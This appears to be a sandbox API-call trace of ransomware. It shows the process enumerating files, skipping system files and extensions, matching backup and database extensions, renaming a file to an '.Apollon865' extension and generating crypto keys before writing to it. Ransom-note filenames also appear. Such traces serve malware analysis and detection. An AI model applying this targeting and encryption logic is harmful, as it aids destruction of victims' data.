	[0054.443] lstrlenW (lpString="Guadalcanal") returned 11
	[0054.443] lstrlenW (lpString="Apollon865") returned 10
	[0054.443] lstrcmpiW (lpString1="uadalcanal", lpString2="Apollon865") returned 1
	[0054.443] lstrlenW (lpString=".dll") returned 4
	[0054.443] lstrcmpiW (lpString1="Guadalcanal", lpString2=".dll") returned 1
	[0054.443] lstrlenW (lpString=".lnk") returned 4
	[0054.443] lstrcmpiW (lpString1="Guadalcanal", lpString2=".lnk") returned 1
	[0054.443] lstrlenW (lpString=".ini") returned 4
	[0054.443] lstrcmpiW (lpString1="Guadalcanal", lpString2=".ini") returned 1
	[0054.443] lstrlenW (lpString=".sys") returned 4
	[0054.443] lstrcmpiW (lpString1="Guadalcanal", lpString2=".sys") returned 1
	[0054.443] lstrlenW (lpString="Guadalcanal") returned 11
	[0054.443] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Guam" | out: lpString1="Guam") returned="Guam"
	[0054.443] lstrlenW (lpString="Guam") returned 4
	[0054.443] lstrlenW (lpString="Apollon865") returned 10
	[0054.443] lstrlenW (lpString=".dll") returned 4
	[0054.443] lstrlenW (lpString=".lnk") returned 4
	[0054.443] lstrlenW (lpString=".ini") returned 4
	[0054.443] lstrlenW (lpString=".sys") returned 4
	[0054.443] lstrlenW (lpString="Guam") returned 4
	[0054.443] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Honolulu" | out: lpString1="Honolulu") returned="Honolulu"
	[0054.443] lstrlenW (lpString="Honolulu") returned 8
	[0054.443] lstrlenW (lpString="Apollon865") returned 10
	[0054.443] lstrlenW (lpString=".dll") returned 4
	[0054.443] lstrcmpiW (lpString1="Honolulu", lpString2=".dll") returned 1
	[0054.443] lstrlenW (lpString=".lnk") returned 4
	[0054.443] lstrcmpiW (lpString1="Honolulu", lpString2=".lnk") returned 1
	[0054.443] lstrlenW (lpString=".ini") returned 4
	[0054.443] lstrcmpiW (lpString1="Honolulu", lpString2=".ini") returned 1
	[0054.444] lstrlenW (lpString=".sys") returned 4
	[0054.444] lstrcmpiW (lpString1="Honolulu", lpString2=".sys") returned 1
	[0054.444] lstrlenW (lpString="Honolulu") returned 8
	[0054.444] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Johnston" | out: lpString1="Johnston") returned="Johnston"
	[0054.444] lstrlenW (lpString="Johnston") returned 8
	[0054.444] lstrlenW (lpString="Apollon865") returned 10
	[0054.444] lstrlenW (lpString=".dll") returned 4
	[0054.444] lstrcmpiW (lpString1="Johnston", lpString2=".dll") returned 1
	[0054.444] lstrlenW (lpString=".lnk") returned 4
	[0054.444] lstrcmpiW (lpString1="Johnston", lpString2=".lnk") returned 1
	[0054.444] lstrlenW (lpString=".ini") returned 4
	[0054.444] lstrcmpiW (lpString1="Johnston", lpString2=".ini") returned 1
	[0054.444] lstrlenW (lpString=".sys") returned 4
	[0054.444] lstrcmpiW (lpString1="Johnston", lpString2=".sys") returned 1
	[0054.444] lstrlenW (lpString="Johnston") returned 8
	[0054.444] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Kiritimati" | out: lpString1="Kiritimati") returned="Kiritimati"
	[0054.444] lstrlenW (lpString="Kiritimati") returned 10
	[0054.444] lstrlenW (lpString="Apollon865") returned 10
	[0054.444] lstrlenW (lpString=".dll") returned 4
	[0054.444] lstrcmpiW (lpString1="Kiritimati", lpString2=".dll") returned 1
	[0054.444] lstrlenW (lpString=".lnk") returned 4
	[0054.444] lstrcmpiW (lpString1="Kiritimati", lpString2=".lnk") returned 1
	[0054.444] lstrlenW (lpString=".ini") returned 4
	[0054.444] lstrcmpiW (lpString1="Kiritimati", lpString2=".ini") returned 1
	[0054.444] lstrlenW (lpString=".sys") returned 4
	[0054.444] lstrcmpiW (lpString1="Kiritimati", lpString2=".sys") returned 1
	[0054.444] lstrlenW (lpString="Kiritimati") returned 10
	[0054.444] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Kosrae" | out: lpString1="Kosrae") returned="Kosrae"
	[0054.444] lstrlenW (lpString="Kosrae") returned 6
	[0054.445] lstrlenW (lpString="Apollon865") returned 10
	[0054.445] lstrlenW (lpString=".dll") returned 4
	[0054.445] lstrcmpiW (lpString1="Kosrae", lpString2=".dll") returned 1
	[0054.445] lstrlenW (lpString=".lnk") returned 4
	[0054.445] lstrcmpiW (lpString1="Kosrae", lpString2=".lnk") returned 1
	[0054.445] lstrlenW (lpString=".ini") returned 4
	[0054.445] lstrcmpiW (lpString1="Kosrae", lpString2=".ini") returned 1
	[0054.445] lstrlenW (lpString=".sys") returned 4
	[0054.445] lstrcmpiW (lpString1="Kosrae", lpString2=".sys") returned 1
	[0054.445] lstrlenW (lpString="Kosrae") returned 6
	[0054.445] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Kwajalein" | out: lpString1="Kwajalein") returned="Kwajalein"
	[0054.445] lstrlenW (lpString="Kwajalein") returned 9
	[0054.445] lstrlenW (lpString="Apollon865") returned 10
	[0054.445] lstrlenW (lpString=".dll") returned 4
	[0054.445] lstrcmpiW (lpString1="Kwajalein", lpString2=".dll") returned 1
	[0054.445] lstrlenW (lpString=".lnk") returned 4
	[0054.445] lstrcmpiW (lpString1="Kwajalein", lpString2=".lnk") returned 1
	[0054.445] lstrlenW (lpString=".ini") returned 4
	[0054.445] lstrcmpiW (lpString1="Kwajalein", lpString2=".ini") returned 1
	[0054.445] lstrlenW (lpString=".sys") returned 4
	[0054.445] lstrcmpiW (lpString1="Kwajalein", lpString2=".sys") returned 1
	[0054.445] lstrlenW (lpString="Kwajalein") returned 9
	[0054.445] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Majuro" | out: lpString1="Majuro") returned="Majuro"
	[0054.445] lstrlenW (lpString="Majuro") returned 6
	[0054.445] lstrlenW (lpString="Apollon865") returned 10
	[0054.445] lstrlenW (lpString=".dll") returned 4
	[0054.445] lstrcmpiW (lpString1="Majuro", lpString2=".dll") returned 1
	[0054.445] lstrlenW (lpString=".lnk") returned 4
	[0054.445] lstrcmpiW (lpString1="Majuro", lpString2=".lnk") returned 1
	[0054.445] lstrlenW (lpString=".ini") returned 4
	[0054.445] lstrcmpiW (lpString1="Majuro", lpString2=".ini") returned 1
	[0054.446] lstrlenW (lpString=".sys") returned 4
	[0054.446] lstrcmpiW (lpString1="Majuro", lpString2=".sys") returned 1
	[0054.446] lstrlenW (lpString="Majuro") returned 6
	[0054.446] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Marquesas" | out: lpString1="Marquesas") returned="Marquesas"
	[0054.446] lstrlenW (lpString="Marquesas") returned 9
	[0054.446] lstrlenW (lpString="Apollon865") returned 10
	[0054.446] lstrlenW (lpString=".dll") returned 4
	[0054.446] lstrcmpiW (lpString1="Marquesas", lpString2=".dll") returned 1
	[0054.446] lstrlenW (lpString=".lnk") returned 4
	[0054.446] lstrcmpiW (lpString1="Marquesas", lpString2=".lnk") returned 1
	[0054.446] lstrlenW (lpString=".ini") returned 4
	[0054.446] lstrcmpiW (lpString1="Marquesas", lpString2=".ini") returned 1
	[0054.446] lstrlenW (lpString=".sys") returned 4
	[0054.446] lstrcmpiW (lpString1="Marquesas", lpString2=".sys") returned 1
	[0054.446] lstrlenW (lpString="Marquesas") returned 9
	[0054.446] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Midway" | out: lpString1="Midway") returned="Midway"
	[0054.446] lstrlenW (lpString="Midway") returned 6
	[0054.446] lstrlenW (lpString="Apollon865") returned 10
	[0054.446] lstrlenW (lpString=".dll") returned 4
	[0054.446] lstrcmpiW (lpString1="Midway", lpString2=".dll") returned 1
	[0054.446] lstrlenW (lpString=".lnk") returned 4
	[0054.446] lstrcmpiW (lpString1="Midway", lpString2=".lnk") returned 1
	[0054.446] lstrlenW (lpString=".ini") returned 4
	[0054.446] lstrcmpiW (lpString1="Midway", lpString2=".ini") returned 1
	[0054.446] lstrlenW (lpString=".sys") returned 4
	[0054.446] lstrcmpiW (lpString1="Midway", lpString2=".sys") returned 1
	[0054.446] lstrlenW (lpString="Midway") returned 6
	[0054.446] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Nauru" | out: lpString1="Nauru") returned="Nauru"
	[0054.446] lstrlenW (lpString="Nauru") returned 5
	[0054.446] lstrlenW (lpString="Apollon865") returned 10
	[0054.447] lstrlenW (lpString=".dll") returned 4
	[0054.447] lstrcmpiW (lpString1="Nauru", lpString2=".dll") returned 1
	[0054.447] lstrlenW (lpString=".lnk") returned 4
	[0054.447] lstrcmpiW (lpString1="Nauru", lpString2=".lnk") returned 1
	[0054.447] lstrlenW (lpString=".ini") returned 4
	[0054.447] lstrcmpiW (lpString1="Nauru", lpString2=".ini") returned 1
	[0054.447] lstrlenW (lpString=".sys") returned 4
	[0054.447] lstrcmpiW (lpString1="Nauru", lpString2=".sys") returned 1
	[0054.447] lstrlenW (lpString="Nauru") returned 5
	[0054.447] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Niue" | out: lpString1="Niue") returned="Niue"
	[0054.447] lstrlenW (lpString="Niue") returned 4
	[0054.447] lstrlenW (lpString="Apollon865") returned 10
	[0054.447] lstrlenW (lpString=".dll") returned 4
	[0054.447] lstrlenW (lpString=".lnk") returned 4
	[0054.447] lstrlenW (lpString=".ini") returned 4
	[0054.447] lstrlenW (lpString=".sys") returned 4
	[0054.447] lstrlenW (lpString="Niue") returned 4
	[0054.447] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Norfolk" | out: lpString1="Norfolk") returned="Norfolk"
	[0054.447] lstrlenW (lpString="Norfolk") returned 7
	[0054.447] lstrlenW (lpString="Apollon865") returned 10
	[0054.447] lstrlenW (lpString=".dll") returned 4
	[0054.447] lstrcmpiW (lpString1="Norfolk", lpString2=".dll") returned 1
	[0054.447] lstrlenW (lpString=".lnk") returned 4
	[0054.447] lstrcmpiW (lpString1="Norfolk", lpString2=".lnk") returned 1
	[0054.447] lstrlenW (lpString=".ini") returned 4
	[0054.447] lstrcmpiW (lpString1="Norfolk", lpString2=".ini") returned 1
	[0054.447] lstrlenW (lpString=".sys") returned 4
	[0054.447] lstrcmpiW (lpString1="Norfolk", lpString2=".sys") returned 1
	[0054.447] lstrlenW (lpString="Norfolk") returned 7
	[0054.447] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Noumea" | out: lpString1="Noumea") returned="Noumea"
	[0054.447] lstrlenW (lpString="Noumea") returned 6
	[0054.448] lstrlenW (lpString="Apollon865") returned 10
	[0054.448] lstrlenW (lpString=".dll") returned 4
	[0054.448] lstrcmpiW (lpString1="Noumea", lpString2=".dll") returned 1
	[0054.448] lstrlenW (lpString=".lnk") returned 4
	[0054.448] lstrcmpiW (lpString1="Noumea", lpString2=".lnk") returned 1
	[0054.448] lstrlenW (lpString=".ini") returned 4
	[0054.448] lstrcmpiW (lpString1="Noumea", lpString2=".ini") returned 1
	[0054.448] lstrlenW (lpString=".sys") returned 4
	[0054.448] lstrcmpiW (lpString1="Noumea", lpString2=".sys") returned 1
	[0054.448] lstrlenW (lpString="Noumea") returned 6
	[0054.448] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Pago_Pago" | out: lpString1="Pago_Pago") returned="Pago_Pago"
	[0054.448] lstrlenW (lpString="Pago_Pago") returned 9
	[0054.448] lstrlenW (lpString="Apollon865") returned 10
	[0054.448] lstrlenW (lpString=".dll") returned 4
	[0054.448] lstrcmpiW (lpString1="Pago_Pago", lpString2=".dll") returned 1
	[0054.448] lstrlenW (lpString=".lnk") returned 4
	[0054.448] lstrcmpiW (lpString1="Pago_Pago", lpString2=".lnk") returned 1
	[0054.448] lstrlenW (lpString=".ini") returned 4
	[0054.448] lstrcmpiW (lpString1="Pago_Pago", lpString2=".ini") returned 1
	[0054.448] lstrlenW (lpString=".sys") returned 4
	[0054.448] lstrcmpiW (lpString1="Pago_Pago", lpString2=".sys") returned 1
	[0054.448] lstrlenW (lpString="Pago_Pago") returned 9
	[0054.448] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Palau" | out: lpString1="Palau") returned="Palau"
	[0054.448] lstrlenW (lpString="Palau") returned 5
	[0054.448] lstrlenW (lpString="Apollon865") returned 10
	[0054.448] lstrlenW (lpString=".dll") returned 4
	[0054.448] lstrcmpiW (lpString1="Palau", lpString2=".dll") returned 1
	[0054.448] lstrlenW (lpString=".lnk") returned 4
	[0054.448] lstrcmpiW (lpString1="Palau", lpString2=".lnk") returned 1
	[0054.448] lstrlenW (lpString=".ini") returned 4
	[0054.448] lstrcmpiW (lpString1="Palau", lpString2=".ini") returned 1
	[0054.448] lstrlenW (lpString=".sys") returned 4
	[0054.449] lstrcmpiW (lpString1="Palau", lpString2=".sys") returned 1
	[0054.449] lstrlenW (lpString="Palau") returned 5
	[0054.449] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Pitcairn" | out: lpString1="Pitcairn") returned="Pitcairn"
	[0054.449] lstrlenW (lpString="Pitcairn") returned 8
	[0054.449] lstrlenW (lpString="Apollon865") returned 10
	[0054.449] lstrlenW (lpString=".dll") returned 4
	[0054.449] lstrcmpiW (lpString1="Pitcairn", lpString2=".dll") returned 1
	[0054.449] lstrlenW (lpString=".lnk") returned 4
	[0054.449] lstrcmpiW (lpString1="Pitcairn", lpString2=".lnk") returned 1
	[0054.449] lstrlenW (lpString=".ini") returned 4
	[0054.449] lstrcmpiW (lpString1="Pitcairn", lpString2=".ini") returned 1
	[0054.449] lstrlenW (lpString=".sys") returned 4
	[0054.449] lstrcmpiW (lpString1="Pitcairn", lpString2=".sys") returned 1
	[0054.449] lstrlenW (lpString="Pitcairn") returned 8
	[0054.449] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Pohnpei" | out: lpString1="Pohnpei") returned="Pohnpei"
	[0054.449] lstrlenW (lpString="Pohnpei") returned 7
	[0054.449] lstrlenW (lpString="Apollon865") returned 10
	[0054.449] lstrlenW (lpString=".dll") returned 4
	[0054.449] lstrcmpiW (lpString1="Pohnpei", lpString2=".dll") returned 1
	[0054.449] lstrlenW (lpString=".lnk") returned 4
	[0054.449] lstrcmpiW (lpString1="Pohnpei", lpString2=".lnk") returned 1
	[0054.449] lstrlenW (lpString=".ini") returned 4
	[0054.449] lstrcmpiW (lpString1="Pohnpei", lpString2=".ini") returned 1
	[0054.449] lstrlenW (lpString=".sys") returned 4
	[0054.449] lstrcmpiW (lpString1="Pohnpei", lpString2=".sys") returned 1
	[0054.449] lstrlenW (lpString="Pohnpei") returned 7
	[0054.449] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Port_Moresby" | out: lpString1="Port_Moresby") returned="Port_Moresby"
	[0054.449] lstrlenW (lpString="Port_Moresby") returned 12
	[0054.449] lstrlenW (lpString="Apollon865") returned 10
	[0054.450] lstrcmpiW (lpString1="rt_Moresby", lpString2="Apollon865") returned 1
	[0054.450] lstrlenW (lpString=".dll") returned 4
	[0054.450] lstrcmpiW (lpString1="Port_Moresby", lpString2=".dll") returned 1
	[0054.450] lstrlenW (lpString=".lnk") returned 4
	[0054.450] lstrcmpiW (lpString1="Port_Moresby", lpString2=".lnk") returned 1
	[0054.450] lstrlenW (lpString=".ini") returned 4
	[0054.450] lstrcmpiW (lpString1="Port_Moresby", lpString2=".ini") returned 1
	[0054.450] lstrlenW (lpString=".sys") returned 4
	[0054.450] lstrcmpiW (lpString1="Port_Moresby", lpString2=".sys") returned 1
	[0054.450] lstrlenW (lpString="Port_Moresby") returned 12
	[0054.450] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Rarotonga" | out: lpString1="Rarotonga") returned="Rarotonga"
	[0054.450] lstrlenW (lpString="Rarotonga") returned 9
	[0054.450] lstrlenW (lpString="Apollon865") returned 10
	[0054.450] lstrlenW (lpString=".dll") returned 4
	[0054.450] lstrcmpiW (lpString1="Rarotonga", lpString2=".dll") returned 1
	[0054.450] lstrlenW (lpString=".lnk") returned 4
	[0054.450] lstrcmpiW (lpString1="Rarotonga", lpString2=".lnk") returned 1
	[0054.450] lstrlenW (lpString=".ini") returned 4
	[0054.450] lstrcmpiW (lpString1="Rarotonga", lpString2=".ini") returned 1
	[0054.450] lstrlenW (lpString=".sys") returned 4
	[0054.450] lstrcmpiW (lpString1="Rarotonga", lpString2=".sys") returned 1
	[0054.450] lstrlenW (lpString="Rarotonga") returned 9
	[0054.450] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Saipan" | out: lpString1="Saipan") returned="Saipan"
	[0054.450] lstrlenW (lpString="Saipan") returned 6
	[0054.450] lstrlenW (lpString="Apollon865") returned 10
	[0054.450] lstrlenW (lpString=".dll") returned 4
	[0054.450] lstrcmpiW (lpString1="Saipan", lpString2=".dll") returned 1
	[0054.450] lstrlenW (lpString=".lnk") returned 4
	[0054.450] lstrcmpiW (lpString1="Saipan", lpString2=".lnk") returned 1
	[0054.450] lstrlenW (lpString=".ini") returned 4
	[0054.450] lstrcmpiW (lpString1="Saipan", lpString2=".ini") returned 1
	[0054.451] lstrlenW (lpString=".sys") returned 4
	[0054.451] lstrcmpiW (lpString1="Saipan", lpString2=".sys") returned 1
	[0054.451] lstrlenW (lpString="Saipan") returned 6
	[0054.451] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Saipan.Apollon865") returned 65
	[0054.451] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Saipan" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\saipan"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Saipan.Apollon865" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\saipan.apollon865"), dwFlags=0x1) returned 1
	[0054.452] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Saipan.Apollon865" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\saipan.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x14c
	[0054.452] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=77) returned 1
	[0054.452] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0054.452] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0054.452] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0054.453] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0054.453] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0054.453] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0054.453] CreateFileMappingW (hFile=0x14c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x350, lpName=0x0) returned 0x150
	[0054.455] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x350) returned 0x100000
	[0054.456] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0054.457] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0054.457] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0054.457] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0054.457] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0054.457] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0054.457] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0054.457] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0054.457] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0054.457] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0054.457] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0054.457] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0054.457] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0054.457] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0054.457] CloseHandle (hObject=0x150) returned 1
	[0054.457] CloseHandle (hObject=0x14c) returned 1
	[0054.457] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0054.457] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0054.458] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0054.458] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Tahiti", cAlternateFileName="")) returned 1
	[0054.458] lstrcmpiW (lpString1="Tahiti", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0054.458] lstrcmpiW (lpString1="Tahiti", lpString2="Apollon865.txt.exe") returned 1
	[0054.458] lstrcmpiW (lpString1="Tahiti", lpString2=".") returned 1
	[0054.458] lstrcmpiW (lpString1="Tahiti", lpString2="..") returned 1
	[0054.458] lstrcmpiW (lpString1="Tahiti", lpString2="windows") returned -1
	[0054.458] lstrcmpiW (lpString1="Tahiti", lpString2="bootmgr") returned 1
	[0054.458] lstrcmpiW (lpString1="Tahiti", lpString2="temp") returned -1
	[0054.458] lstrcmpiW (lpString1="Tahiti", lpString2="pagefile.sys") returned 1
	[0054.458] lstrcmpiW (lpString1="Tahiti", lpString2="boot") returned 1
	[0054.458] lstrcmpiW (lpString1="Tahiti", lpString2="ids.txt") returned 1
	[0054.458] lstrcmpiW (lpString1="Tahiti", lpString2="ntuser.dat") returned 1
	[0054.458] lstrcmpiW (lpString1="Tahiti", lpString2="perflogs") returned 1
	[0054.458] lstrcmpiW (lpString1="Tahiti", lpString2="MSBuild") returned 1
	[0054.458] lstrlenW (lpString="Tahiti") returned 6
	[0054.458] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Saipan") returned 54
	[0054.458] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Tahiti" | out: lpString1="Tahiti") returned="Tahiti"
	[0054.458] lstrlenW (lpString="Tahiti") returned 6
	[0054.458] lstrlenW (lpString="Apollon865") returned 10
	[0054.458] lstrlenW (lpString=".dll") returned 4
	[0054.458] lstrcmpiW (lpString1="Tahiti", lpString2=".dll") returned 1
	[0054.458] lstrlenW (lpString=".lnk") returned 4
	[0054.458] lstrcmpiW (lpString1="Tahiti", lpString2=".lnk") returned 1
	[0054.458] lstrlenW (lpString=".ini") returned 4
	[0054.458] lstrcmpiW (lpString1="Tahiti", lpString2=".ini") returned 1
	[0054.458] lstrlenW (lpString=".sys") returned 4
	[0054.458] lstrcmpiW (lpString1="Tahiti", lpString2=".sys") returned 1
	[0054.459] lstrlenW (lpString="Tahiti") returned 6
	[0054.459] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Tarawa" | out: lpString1="Tarawa") returned="Tarawa"
	[0054.459] lstrlenW (lpString="Tarawa") returned 6
	[0054.459] lstrlenW (lpString="Apollon865") returned 10
	[0054.459] lstrlenW (lpString=".dll") returned 4
	[0054.459] lstrcmpiW (lpString1="Tarawa", lpString2=".dll") returned 1
	[0054.459] lstrlenW (lpString=".lnk") returned 4
	[0054.459] lstrcmpiW (lpString1="Tarawa", lpString2=".lnk") returned 1
	[0054.459] lstrlenW (lpString=".ini") returned 4
	[0054.459] lstrcmpiW (lpString1="Tarawa", lpString2=".ini") returned 1
	[0054.459] lstrlenW (lpString=".sys") returned 4
	[0054.459] lstrcmpiW (lpString1="Tarawa", lpString2=".sys") returned 1
	[0054.459] lstrlenW (lpString="Tarawa") returned 6
	[0054.459] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Tongatapu" | out: lpString1="Tongatapu") returned="Tongatapu"
	[0054.459] lstrlenW (lpString="Tongatapu") returned 9
	[0054.459] lstrlenW (lpString="Apollon865") returned 10
	[0054.459] lstrlenW (lpString=".dll") returned 4
	[0054.459] lstrcmpiW (lpString1="Tongatapu", lpString2=".dll") returned 1
	[0054.459] lstrlenW (lpString=".lnk") returned 4
	[0054.459] lstrcmpiW (lpString1="Tongatapu", lpString2=".lnk") returned 1
	[0054.459] lstrlenW (lpString=".ini") returned 4
	[0054.459] lstrcmpiW (lpString1="Tongatapu", lpString2=".ini") returned 1
	[0054.459] lstrlenW (lpString=".sys") returned 4
	[0054.459] lstrcmpiW (lpString1="Tongatapu", lpString2=".sys") returned 1
	[0054.459] lstrlenW (lpString="Tongatapu") returned 9
	[0054.459] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Wake" | out: lpString1="Wake") returned="Wake"
	[0054.460] lstrlenW (lpString="Wake") returned 4
	[0054.460] lstrlenW (lpString="Apollon865") returned 10
	[0054.460] lstrlenW (lpString=".dll") returned 4
	[0054.460] lstrlenW (lpString=".lnk") returned 4
	[0054.460] lstrlenW (lpString=".ini") returned 4
	[0054.460] lstrlenW (lpString=".sys") returned 4
	[0054.460] lstrlenW (lpString="Wake") returned 4
	[0054.460] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Wallis" | out: lpString1="Wallis") returned="Wallis"
	[0054.460] lstrlenW (lpString="Wallis") returned 6
	[0054.460] lstrlenW (lpString="Apollon865") returned 10
	[0054.460] lstrlenW (lpString=".dll") returned 4
	[0054.460] lstrcmpiW (lpString1="Wallis", lpString2=".dll") returned 1
	[0054.460] lstrlenW (lpString=".lnk") returned 4
	[0054.460] lstrcmpiW (lpString1="Wallis", lpString2=".lnk") returned 1
	[0054.460] lstrlenW (lpString=".ini") returned 4
	[0054.460] lstrcmpiW (lpString1="Wallis", lpString2=".ini") returned 1
	[0054.460] lstrlenW (lpString=".sys") returned 4
	[0054.501] lstrcmpiW (lpString1="Wallis", lpString2=".sys") returned 1
	[0054.501] lstrlenW (lpString="Wallis") returned 6
	[0054.501] lstrlenW (lpString="bak") returned 3
	[0054.501] lstrcmpiW (lpString1="lis", lpString2="bak") returned 1
	[0054.501] lstrlenW (lpString="ba_") returned 3
	[0054.501] lstrcmpiW (lpString1="lis", lpString2="ba_") returned 1
	[0054.501] lstrlenW (lpString="dbb") returned 3
	[0054.501] lstrcmpiW (lpString1="lis", lpString2="dbb") returned 1
	[0054.501] lstrlenW (lpString="vmdk") returned 4
	[0054.501] lstrcmpiW (lpString1="llis", lpString2="vmdk") returned -1
	[0054.501] lstrlenW (lpString="rar") returned 3
	[0054.501] lstrcmpiW (lpString1="lis", lpString2="rar") returned -1
	[0054.501] lstrlenW (lpString="zip") returned 3
	[0054.501] lstrcmpiW (lpString1="lis", lpString2="zip") returned -1
	[0054.501] lstrlenW (lpString="tgz") returned 3
	[0054.501] lstrcmpiW (lpString1="lis", lpString2="tgz") returned -1
	[0054.502] lstrlenW (lpString="vbox") returned 4
	[0054.502] lstrcmpiW (lpString1="llis", lpString2="vbox") returned -1
	[0054.502] lstrlenW (lpString="vdi") returned 3
	[0054.502] lstrcmpiW (lpString1="lis", lpString2="vdi") returned -1
	[0054.502] lstrlenW (lpString="vhd") returned 3
	[0054.502] lstrcmpiW (lpString1="lis", lpString2="vhd") returned -1
	[0054.502] lstrlenW (lpString="vhdx") returned 4
	[0054.502] lstrcmpiW (lpString1="llis", lpString2="vhdx") returned -1
	[0054.502] lstrlenW (lpString="avhd") returned 4
	[0054.502] lstrcmpiW (lpString1="llis", lpString2="avhd") returned 1
	[0054.502] lstrlenW (lpString="db") returned 2
	[0054.502] lstrcmpiW (lpString1="is", lpString2="db") returned 1
	[0054.502] lstrlenW (lpString="db2") returned 3
	[0054.502] lstrcmpiW (lpString1="lis", lpString2="db2") returned 1
	[0054.502] lstrlenW (lpString="db3") returned 3
	[0054.502] lstrcmpiW (lpString1="lis", lpString2="db3") returned 1
	[0054.502] lstrlenW (lpString="dbf") returned 3
	[0054.502] lstrcmpiW (lpString1="lis", lpString2="dbf") returned 1
	[0054.502] lstrlenW (lpString="mdf") returned 3
